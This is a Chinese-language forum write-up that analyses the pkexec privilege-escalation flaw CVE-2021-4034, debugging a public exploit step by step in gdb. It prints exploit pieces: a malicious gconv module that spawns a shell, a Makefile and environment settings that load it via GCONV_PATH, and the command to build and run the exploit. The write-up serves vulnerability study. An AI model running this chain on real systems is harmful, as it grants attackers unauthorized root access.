近期爆出了一个影响甚广的本地提权漏洞CVE-2021-4034,诸如Ubuntu、Debian、Fedora和CentOS 等主流Linux操作系统都受到了该漏洞影响。漏洞利用脚本在互联网上已经公开,利用起来异常简单且稳定。在当前的环境下,当攻击者获得目标操作系统一个普通用户权限时,则极大概率可以直接获得root权限,使得权限控制机制形同虚设。 而如此重大的漏洞,起因却仅仅是因为一个名为pkexec的程序对参数个数的判断存在疏忽,造成了一个数组溢出。如何利用一个数组溢出获得root权限呢?怀着这一疑问,本人对公开利用脚本进行了源码调试分析,感慨其利用技巧极具艺术性的同时,将分析过程记录成本篇文章。
本次的漏洞复现环境为Kali-Linux-2021.2-vmware-amd64,其pkexec版本为0.105,使用普通用户kali进行复现。
下载exp源码并编译(如果目标环境没有gcc,可以在本地编译好了之后再拷贝上去)
测试exp效果,得到了root权限
操作系统:Kali-Linux-2021.2-vmware-amd64 polkit源码版本:polkit-0.105 gdb配置: 1.设置反汇编风格为intel风格(个人喜好) 2.关闭pwndbg等配置,避免调试时过多的信息造成干扰 3.设置gdb的SUID位,避免调试pkexec时执行到geteuid函数失败,报错“pkexec must be setuid root”
资源下载07dK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6M7X3y4Q4x3X3g2X3k6h3c8G2M7X3q4H3M7X3!0B7k6h3y4@1i4K6u0W2L8%4u0Y4i4K6u0r3M7X3g2H3L8#2)9J5c8Y4m8C8k6%4y4Q4x3V1k6H3L8$3I4C8K9i4c8Q4x3V1k6H3L8$3I4C8K9i4c8Q4x3X3b7H3i4K6u0W2x3e0l9#2i4K6u0W2N6r3q4J5i4K6u0W2k6%4A6Q4x3V1k6E0k6o6g2Q4x3V1j5&6j5K6t1&6k6e0q4T1y4X3x3J5x3e0c8X3x3r3u0V1y4X3j5I4k6o6c8W2k6e0x3H3x3$3c8X3j5h3g2V1z5g2)9J5c8Y4m8G2L8r3E0A6N6q4)9J5k6o6m8Q4x3X3f1I4x3o6g2Q4x3X3g2@1j5i4u0Q4x3X3g2Y4P5R3`.`. 3a0K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6T1k6i4u0V1j5i4k6Q4x3V1k6o6g2V1g2Q4x3X3b7J5x3o6t1I4i4K6u0V1y4o6l9K6y4q4)9J5k6h3N6A6N6l9`.`.
test.c
学过C语言的朋友都知道,如上代码中,argc表示参数的个数,argv存放着具体的参数,argv[0]指向程序本身,argv[1]指向第一个参数,argv[2]指向第二个参数,...,argv[argc]存放0 表示结束。
当我们在命令行中执行程序时,argc的取值至少为1,因为即使不加参数,argv[0]也要指向程序路径本身。pkexec的作者也是这么想的,从而百密一疏,遗留下了一个重大隐患。在特殊情况下,如使用execve来调用程序,并给argv传值 NULL,则argc为0。 execve函数声明
execve.c
execve.c
使用execve调用test程序,并分别给argv与envp传递了3个值。
test.c
argc为3,加上截止符0,argv的大小为4,这里直接打印了8个值,显然是越界了。argv后面的内容是什么呢? 通过实验,表明argv与envp在内存布局上是连续的,envp紧跟argv之后。
main.c
pwnkit.c
Makefile
run.sh
g_printerr 的功能和printf很像,主要就是打印文本。在本实验中,当环境变量设置了CHARSET,且不为UTF-8时,g_printerr会进行编码转换,而转换的方法就是根据GCONV_PATH里的配置文件gconv-modules的说明,调用pwnkit.so,从而得到shell。
当一个程序被设置了SUID权限,则其他用户执行该程序时,可以临时切换到程序所有者的权限去执行一些功能。因为涉及到权限变更,所以在执行操作系统自带的此类程序时,往往被要求授权。 pkexec的所有者为root,具有SUID权限,当普通用户kali执行“pkexec bash”命令时会被要求授权。获得授权后,得到了root权限。
打印所有环境变量 main.c
使用root用户进行编译,并设置SUID权限
设置环境变量,并通过test程序打印出来,用以判断环境变量的导入情况
run.sh
分别以root用户和kali用户执行“./run.sh |grep AAAA”,用来判断环境变量的导入情况。 通过实验可以知道,当以kali用户身份去执行所有者为root且具有SUID权限的程序时,GCONV_PATH、LD_PRELOAD 等不安全的环境变量并不会被引入。
e29K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6M7X3y4Q4x3X3g2X3k6h3c8G2M7X3q4H3M7X3!0B7k6h3y4@1i4K6u0W2L8%4u0Y4i4K6u0r3M7X3g2H3L8#2)9J5c8Y4m8C8k6%4y4Q4x3V1k6H3L8$3I4C8K9i4c8Q4x3V1k6H3L8$3I4C8K9i4c8Q4x3X3b7H3i4K6u0W2x3e0l9#2i4K6u0W2N6r3q4J5i4K6u0W2k6%4A6Q4x3V1k6E0k6o6g2Q4x3V1j5&6j5K6t1&6k6e0q4T1y4X3x3J5x3e0c8X3x3r3u0V1y4X3j5I4k6o6c8W2k6e0x3H3x3$3c8X3j5h3g2V1z5g2)9J5c8Y4m8G2L8r3E0A6N6q4)9J5k6o6m8Q4x3X3f1I4x3o6g2Q4x3X3g2@1j5i4u0Q4x3X3g2Y4P5R3`.`.
以root用户赋权
修改利用脚本里调用的程序为刚编译好的pkexec,以便源码调试。 cve-2021-4034.c
"./pkexec bash"是正常的用法,会先请求授权,然后再以root权限执行bash命令;而"./cve-2021-4034"会利用漏洞,跳过授权认证,直接以root权限执行命令。授权认证是如何被绕过的呢? 如果能在源码层次记录下两个程序的执行流程,则可以比对出有差异的地方,从而帮助我们理解“授权认证是如何被绕过”这个问题,更直观的理解漏洞利用过程。
step_trace.py
step_trace.py是gdb的源码追踪脚本,可以把执行过的代码打印到终端上。其中,step="next" 表示单步步过,step="step" 表示单步步入。
bplist
在pkexec的main函数和调用execv(pkexec.c:900)时下断点,记录中间的源码调用。在调试过程中,可以知道授权弹窗在705行代码polkit_authority_check_authorization_sync处调用。另外,step_trace.py 把源码追踪的结果打印在了终端,可以通过复制的方式另存为gdb_pkexec_bash.log,以便后面的分析。
bplist_cve
源码追踪"./cve-2021-4034"的执行,并把日志记录为gdb_cve-2021-4034.log,以便后面的分析。
通过比对代码流日志,可以清晰的看到"./cve-2021-4034"对argc的处理和validate_environment_variable的行为上存在异常,发现这两点异常将十分有助于我们理解漏洞利用过程。"./cve-2021-4034"的代码流程非常的短,其在调用环境变量校验函数validate_environment_variable的时候就获得了shell,这也就解释了为何会绕过授权认证,因为根本就没走到那。
通过gdb调试,可以打印一些关键变量的值,并给gdb_cve-2021-4034.log加上备注,这样有助于理解漏洞利用过程。
bp
由图可知,参数数组与环境变量数组在内存布局上是连续的,本例中,argv[1]即是environ[0]
s被赋值为"GCONV_PATH=./pwnkit.so:.",在pkexec程序看来,这只是一个普通的文件路径,而这是攻击者特意构造的,是为了引入不安全的环境变量GCONV_PATH。
利用越界写漏洞,成功引入不安全的环境变量GCONV_PATH。
构造报错,调用g_printerr,得到shell。
gdb_cve-2021-4034_details.log
当使用普通用户权限执行pkexec时,GCONV_PATH、LD_PRELOAD等不安全的环境变量会被删除,但攻击者可以通过参数数组的越界读写漏洞,重新引入不安全的环境变量,进而构造利用链获取root权限。这一漏洞的起因十分简单,危害却十分严重,值得深思。
926K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2I4N6h3q4D9P5i4y4Q4x3X3g2U0L8$3#2Q4x3V1j5J5x3o6t1J5i4K6u0r3x3o6q4Q4x3V1j5J5y4g2)9J5c8X3y4$3k6g2)9J5k6o6t1H3x3U0q4Q4x3X3b7@1x3o6x3@1i4K6u0r3M7s2N6F1K9$3W2@1i4K6u0W2N6s2S2@1 260K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6V1N6h3!0Q4x3X3g2U0L8$3#2Q4x3V1k6V1k6h3y4A6M7r3S2W2M7W2)9J5c8Y4y4W2M7X3W2G2N6i4y4Q4x3X3c8H3M7X3W2$3K9h3I4W2k6$3g2Q4x3X3c8W2M7$3y4S2L8r3q4@1K9h3!0F1i4K6u0V1k6X3I4S2N6#2)9J5k6r3W2F1i4K6u0V1L8r3W2F1N6i4S2Q4x3X3c8U0L8$3#2H3L8$3&6W2L8Y4c8Q4x3X3c8H3j5i4c8U0K9r3g2V1 f7eK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2M7i4g2S2L8s2W2K6i4K6u0W2j5$3!0E0i4K6u0r3N6Y4g2D9L8X3g2J5j5h3u0A6L8r3W2@1K9h3g2K6i4K6u0V1N6r3S2J5k6h3q4@1i4K6u0V1M7X3g2K6k6h3q4J5j5$3S2Q4x3V1j5J5x3o6t1J5i4K6u0r3x3o6q4Q4x3V1j5J5y4g2)9J5c8Y4m8%4L8X3E0A6N6q4)9J5k6r3I4G2j5$3q4D9i4K6u0V1M7s2u0A6N6X3W2D9k6h3N6W2i4K6u0V1k6i4y4U0j5h3I4S2N6r3W2G2L8W2)9J5k6s2k6#2L8r3&6W2M7X3q4T1K9h3I4A6N6s2W2Q4x3X3c8V1K9i4y4U0L8%4k6W2M7X3g2V1i4K6u0V1K9h3&6Q4x3X3c8H3L8$3I4C8K9i4c8K6i4K6u0V1M7r3E0W2P5r3g2U0i4K6u0V1j5%4k6W2i4K6u0V1x3U0l9J5x3g2)9J5k6o6b7H3x3K6b7`. 737K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6N6r3q4U0K9$3!0$3k6i4u0X3L8r3!0%4i4K6u0W2j5$3!0E0i4K6u0r3M7i4g2W2M7%4c8A6L8$3&6K6i4K6u0r3x3K6V1$3x3o6t1K6x3o6k6Q4x3V1k6@1M7X3q4U0K9h3&6Y4i4K6u0V1M7s2u0G2k6%4u0S2L8g2)9J5k6r3k6#2L8X3y4@1K9h3!0F1i4K6u0V1k6i4S2W2j5%4g2@1K9h3!0F1i4K6u0V1L8$3&6Q4x3X3c8K6L8%4g2J5j5$3g2Q4x3X3c8D9K9h3&6W2i4K6u0V1L8r3g2$3k6h3H3`. 5fdK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2^5K9h3g2T1M7Y4g2U0k6g2)9J5k6i4c8G2M7q4)9J5c8U0p5K6z5o6N6Q4x3X3g2Z5N6r3#2D9 https://bbs.pediy.com/thread-271345.htm
参考了P神的vulhub项目 ,在docker镜像vulhub/polkit:0.105 的基础上部署了gdb、polkit源码,并做了配置和调试。
"docker logs 容器ID"看到如下内容说明容器启动成功
或者"nc 127.0.0.1 2222"看到如下内容也能说明容器启动成功
使用ssh以普通用户ubuntu的身份通过2222端口登录系统,进入/home/ubuntu/CVE-2021-4034_pkexec/CVE-2021-4034_exp/目录开始源码调试
触发命令执行时的调用栈
本来觉得docker环境会不会小一点,看了一下要2个G左右,其实虚拟机做的好的话2个G也能搞定,不过借助docker的话,在内容分发和管理上可能会方便一些。另外,pkexec漏洞利用有些技巧,但抽丝剖茧理解起来并不是太难,感觉至少比堆利用要简单,其知名、典型、不算太老,是个很好的学习素材。
git clone https:
/
/
github.com
/
berdav
/
CVE
-
2021
-
4034.git
cd CVE
-
2021
-
4034
make
git clone https:
/
/
github.com
/
berdav
/
CVE
-
2021
-
4034.git
cd CVE
-
2021
-
4034
make
.
/
cve
-
2021
-
4034
chmod
4755
/
usr
/
bin
/
gdb
int
main(
int
argc, char
*
*
argv)
{
printf(
"argc: %d\n"
, argc);
for
(
int
i; i<argc; i
+
+
) {
printf(
"%s\n"
, argv[i]);
}
return
0
;
}
int
main(
int
argc, char
*
*
argv)
{
printf(
"argc: %d\n"
, argc);
for
(
int
i; i<argc; i
+
+
) {
printf(
"%s\n"
, argv[i]);
}
return
0
;
}
int
execve(const char
*
pathname, char
*
const argv[], char
*
const envp[]);
int
execve(const char
*
pathname, char
*
const argv[], char
*
const envp[]);
int
main(
int
argc, char
*
*
argv)
{
return
execve(
"./test"
, NULL, NULL);
}
int
main(
int
argc, char
*
*
argv)
{
return
execve(
"./test"
, NULL, NULL);
}
int
main()
{
char
*
const argv[]
=
{
"AAAA1111"
,
"BBBB2222"
,
"CCCC3333"
,
NULL
};
char
*
const envp[]
=
{
"DDDD3333"
,
"EEEE4444"
,
"FFFF5555"
,
NULL
};
return
execve(
"./test"
, argv, envp);
}
int
main()
{
char
*
const argv[]
=
{
"AAAA1111"
,
"BBBB2222"
,
"CCCC3333"
,
NULL
};
char
*
const envp[]
=
{
"DDDD3333"
,
"EEEE4444"
,
"FFFF5555"
,
NULL
};
return
execve(
"./test"
, argv, envp);
}
int
main(
int
argc, char
*
*
argv)
{
printf(
"argc: %d\n"
, argc);
for
(
int
i; i<
8
; i
+
+
) {
if
(argv[i]!
=
NULL) {
printf(
"argv[%d]: %s\n"
, i, argv[i]);
}
else
{
printf(
"argv[%d]: NULL\n"
, i);
}
}
return
0
;
}
int
main(
int
argc, char
*
*
argv)
{
printf(
"argc: %d\n"
, argc);
for
(
int
i; i<
8
; i
+
+
) {
if
(argv[i]!
=
NULL) {
printf(
"argv[%d]: %s\n"
, i, argv[i]);
}
else
{
printf(
"argv[%d]: NULL\n"
, i);
}
}
return
0
;
}
int
main()
{
g_printerr(
"Hello world.\n"
);
return
0
;
}
int
main()
{
g_printerr(
"Hello world.\n"
);
return
0
;
}
void gconv(void) {
}
void gconv_init(void
*
step)
{
char
*
const args[]
=
{
"/bin/sh"
,
"-pi"
, NULL };
char
*
const environ[]
=
{
"PATH=/bin:/usr/bin"
, NULL };
execve(args[
0
], args, environ);
exit(
0
);
}
void gconv(void) {
}
void gconv_init(void
*
step)
{
char
*
const args[]
=
{
"/bin/sh"
,
"-pi"
, NULL };
char
*
const environ[]
=
{
"PATH=/bin:/usr/bin"
, NULL };
execve(args[
0
], args, environ);
exit(
0
);
}
all
:
echo
"module UTF-8// AAAA// pwnkit 1"
> gconv
-
modules
gcc
-
-
shared
-
fPIC
-
o pwnkit.so pwnkit.c
gcc
-
o test main.c
-
lglib
-
2.0
all
:
echo
"module UTF-8// AAAA// pwnkit 1"
> gconv
-
modules
gcc
-
-
shared
-
fPIC
-
o pwnkit.so pwnkit.c
gcc
-
o test main.c
-
lglib
-
2.0
export CHARSET
=
AAAA
export GCONV_PATH
=
.
.
/
test
export CHARSET
=
AAAA
export GCONV_PATH
=
.
.
/
test
int
main()
{
system(
"env"
);
return
0
;
}
int
main()
{
system(
"env"
);
return
0
;
}
gcc
-
g
-
O0
-
o test main.c
chmod
4755
.
/
test
gcc
-
g
-
O0
-
o test main.c
chmod
4755
.
/
test
export GCONV_PATH
=
AAAA0001
export GETCONF_DIR
=
AAAA0002
export HOSTALIASES
=
AAAA0003
export LD_AUDIT
=
AAAA0004
export LD_DEBUG
=
AAAA0005
export LD_DEBUG_OUTPUT
=
AAAA0006
export LD_DYNAMIC_WEAK
=
AAAA0007
export LD_HWCAP_MASK
=
AAAA0008
export LD_LIBRARY_PATH
=
AAAA0009
export LD_ORIGIN_PATH
=
AAAA0010
export LD_PRELOAD
=
AAAA0011
export LD_PROFILE
=
AAAA0012
export LD_SHOW_AUXV
=
AAAA0013
export LD_USE_LOAD_BIAS
=
AAAA0014
export LOCALDOMAIN
=
AAAA0015
export LOCPATH
=
AAAA0016
export MALLOC_TRACE
=
AAAA0017
export NIS_PATH
=
AAAA0018
export NLSPATH
=
AAAA0019
export RESOLV_HOST_CONF
=
AAAA0020
export RES_OPTIONS
=
AAAA0021
export TMPDIR
=
AAAA0022
export TZDIR
=
AAAA0023
export PATH
=
AAAA1001:
/
usr
/
bin
export SHELL
=
AAAA1002
export CHARSET
=
AAAA1003
export BBBB
=
AAAA1004
.
/
test
export GCONV_PATH
=
AAAA0001
export GETCONF_DIR
=
AAAA0002
export HOSTALIASES
=
AAAA0003
export LD_AUDIT
=
AAAA0004
export LD_DEBUG
=
AAAA0005
export LD_DEBUG_OUTPUT
=
AAAA0006
export LD_DYNAMIC_WEAK
=
AAAA0007
export LD_HWCAP_MASK
=
AAAA0008
export LD_LIBRARY_PATH
=
AAAA0009
export LD_ORIGIN_PATH
=
AAAA0010
export LD_PRELOAD
=
AAAA0011
export LD_PROFILE
=
AAAA0012
export LD_SHOW_AUXV
=
AAAA0013
export LD_USE_LOAD_BIAS
=
AAAA0014
export LOCALDOMAIN
=
AAAA0015
export LOCPATH
=
AAAA0016
export MALLOC_TRACE
=
AAAA0017
export NIS_PATH
=
AAAA0018
export NLSPATH
=
AAAA0019
export RESOLV_HOST_CONF
=
AAAA0020
export RES_OPTIONS
=
AAAA0021
export TMPDIR
=
AAAA0022
export TZDIR
=
AAAA0023
export PATH
=
AAAA1001:
/
usr
/
bin
export SHELL
=
AAAA1002
export CHARSET
=
AAAA1003
export BBBB
=
AAAA1004
.
/
test
apt install automake
apt install autopoint
apt install libtool
apt install gtk
-
doc
-
tools
apt install libpam0g
-
dev
apt install intltool
apt install automake
apt install autopoint
apt install libtool
apt install gtk
-
doc
-
tools
apt install libpam0g
-
dev
[招生]系统0day安全-IOT设备漏洞挖掘(第6期)!
最后于 2023-11-29 17:08
被Jtian编辑
,原因:
上传的附件: